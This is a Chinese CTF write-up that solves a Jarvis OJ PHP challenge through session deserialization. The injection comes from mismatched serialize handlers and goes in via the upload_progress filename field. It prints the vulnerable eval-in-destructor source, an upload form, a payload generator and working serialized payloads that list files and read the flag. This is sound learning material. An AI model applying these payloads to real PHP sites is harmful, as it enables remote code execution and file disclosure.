前言
本次做题历程可以说十分有趣,先是在BUU上自己做着easy_serialize_php,看完源代码以为是跟session有关的反序列化(后面自己查了wp发现不是×-×),所以自己就去百度关于session反序列化的知识点,看着看着就去做到了这到例题?可谓是一波三折啊
提示:以下是本篇文章正文内容,本文借鉴了多位大佬的wp,仅供参考
题目和参考链接:
题目:http://web.jarvisoj.com:32784/ 相关知识点大佬讲解链接: https://www.cnblogs.com/zzjdbk/p/12995217.html https://www.freebuf.com/column/199220.html https://blog.csdn.net/wy_97/article/details/78430690 https://www.cnblogs.com/zzjdbk/p/13024425.html
重要知识点:
什么是session?
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。 session.save_handler session保存形式。默认为files
在phpinfo中关于session的几个重要参数:
session.save_path session:保存路径。 session.serialize_handler: session序列化存储所用处理器。默认为php。 session.upload_progress.cleanup: 一旦读取了所有POST数据,立即清除进度信息。默认开启 session.upload_progress.enabled: 将上传文件的进度信息存在session中。默认开启。
session.serialize_handler一般有三个处理器:php,php_serialize,php_binary
当选择不同处理器时,输出的session文件内容是不同的,例如: 当 session.serialize_handler=php 时,session文件内容为: name|s:4:“mdzz”; 当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:“name”;s:4:“mdzz”;} 当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:4:“mdzz”; 利用点:当读取处理和解析处理不一样时,就会造成注入漏洞:使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符,而当使用php引擎处理时,遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。
关键知识点: 当session.upload_progress.cleanup=off和 session.upload_progress.enabled=on时,有
session上传进度(PHP_SESSION_UPLOAD_PROGRESS) 就是PHP能够在每一个文件上传是检测上传进度,可以在文件上传时发送一个POST请求到终端来检查这个状态,所以利用这个,我们在一个上传在处理的过程中,同时POST一个与INI设置的session.upload_progress.name同名变量,PHP就会把文件名保存到$_SESSION中,这样就注入成功了。
搬运一张图片,关于文件上传表单的enctype属性: session反序列化的文件上传表单格式:
<!DOCTYPE html>
<html>
<head>
<title>session</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--
不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
读取目录文件:
print_r(scandir(dirname(__FILE__)));
scandir目录中的文件和目录
dirname函数返回路径中的目录部分
__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
解题过程
打开题目网站:http://web.jarvisoj.com:32784/ 观察源代码:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
通篇看下来,没有可以注入的点,看到开头的ini_set(‘session.serialize_handler’, ‘php’);,学过的话可以联想到关于session的反序列化。 url传入?phpinfo=1可以查看php相关信息:
搜索session,可以看到默认的引擎是php_serialize,而题目的使用的引擎是php,所以序列化和反序列化使用的引擎 不同,可以伪造任意数据。但是发现没有给$_SESSION变量赋值的注入点,所以考虑到php的upload_progress机制。
开始解题: 构建文件上传页面: 随便上传一个文件然后使用burpsuit抓包,如下: 注入点在上传文档的名字filename 接下来构造序列化payload,脚本模板如下: 同时需要注意为了防止双引号(“”)被转义,我们需要额外添加反斜杠!!! 写入payload的时候记得在前面添加一个|(竖杠)!!!
<?php
class OowoO
{
public $mdzz="var_dump(scandir(dirname(__FILE__)));";
}
$temp=new OowoO();
$string=serialize($temp);
echo($string)."\n";
$pattern='/\"/';
$replace='\\\"';
$ans=preg_replace($pattern,$replace,$string);
echo($ans);
?>
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}
然后写入filename: 找到flag所在的php文件:Here_1s_7he_fl4g_buT_You_Cannot_see.php
返回phpinfo,搜索_server查看当前index.php地址: 进一步构造获取falg的payload,file_get_contents获取文件内容输出,拿到flag:
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
总结
比较曲折的才遇到这个题目o(╥﹏╥)o,知识点我好想寒假时大致的看过,不过应该没搞懂,这次就翻阅了许多大佬的文档,勉强能做出来这题,还是欠缺了很多知识啊!不忘初心,砥砺前行!
|